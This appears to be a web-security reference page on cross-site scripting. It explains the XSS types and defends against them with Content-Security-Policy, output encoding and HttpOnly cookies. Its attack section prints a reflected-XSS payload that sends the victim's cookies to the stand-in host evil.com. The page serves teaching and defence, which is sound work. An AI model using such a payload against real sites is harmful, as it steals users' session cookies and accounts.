XSS
CriticalCross-Site Scripting
XSS allows attackers to inject malicious scripts into pages viewed by other users. Injected scripts run with the full privileges of the target origin – they can steal cookies, capture keystrokes, and make authenticated API calls. Content-Security-Policy is the primary HTTP-level defense.
Overview
XSS attacks occur when a web application includes untrusted data in its output without proper validation or escaping. There are three types: Reflected XSS (malicious script in the URL, reflected in the response), Stored XSS (script stored in the database and served to users later), and DOM-based XSS (script injected through client-side JavaScript).
An XSS payload running in the victim's browser has the same permissions as the legitimate JavaScript on that page – it can access cookies (unless HttpOnly), read the DOM, make authenticated fetch() calls, and exfiltrate data to attacker-controlled servers.
At the HTTP level, Content-Security-Policy is the strongest defense. A properly configured CSP prevents inline scripts and restricts which external scripts can load, breaking most XSS payloads even if injection occurs.
The Attack: Reflected XSS via Search Parameter
An unescaped search parameter is reflected into the HTML response. The attacker crafts a link with a script payload. When the victim clicks it, the script executes in their browser.
GET /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<!-- Server reflects this into: -->
<p>Results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>Defenses
1Content-Security-Policy
A strict CSP prevents injected scripts from executing. Use nonce-based CSP for inline scripts. Avoid 'unsafe-inline' and 'unsafe-eval'. Deploy in report-only mode first to measure violations before enforcing.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'2Output encoding
All user-controlled data inserted into HTML must be properly encoded. Use context-appropriate escaping: HTML entities for HTML context, JavaScript string escaping for JS context, URL encoding for URL context. Never trust input, always encode output.
<!-- SAFE: user input HTML-encoded -->
<p>Results for: <script>alert(1)</script></p>3HttpOnly cookies
Set HttpOnly on session cookies so JavaScript cannot access them. This does not prevent XSS but significantly reduces the impact by protecting session tokens from theft via document.cookie.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=StrictChecklist
- ✓Set Content-Security-Policy with script-src restricted to known sources
- ✓HTML-encode all user-controlled output before inserting into HTML
- ✓Set HttpOnly on session cookies to prevent JavaScript access
- ✓Set X-Content-Type-Options: nosniff to prevent MIME sniffing attacks
- ✓Avoid innerHTML, document.write, eval() with user-controlled data
- ✓Deploy CSP in report-only mode first using Content-Security-Policy-Report-Only
- ✓Use Trusted Types API for DOM manipulation to prevent DOM XSS
Related Headers
Related Status Codes
FAQ
Does CSP fully prevent XSS?
CSP significantly reduces XSS impact by preventing script execution from unauthorized sources, but it does not make XSS impossible. DOM-based XSS can bypass CSP if the application uses unsafe sinks like innerHTML. CSP is a strong defense-in-depth measure, not a replacement for output encoding.
What is 'unsafe-inline' and why should I avoid it?
'unsafe-inline' in script-src allows inline <script> tags and event handlers. This defeats most XSS protection from CSP because attackers can inject inline scripts. Use nonces ('nonce-{random}') or hashes ('sha256-{hash}') for legitimate inline scripts instead.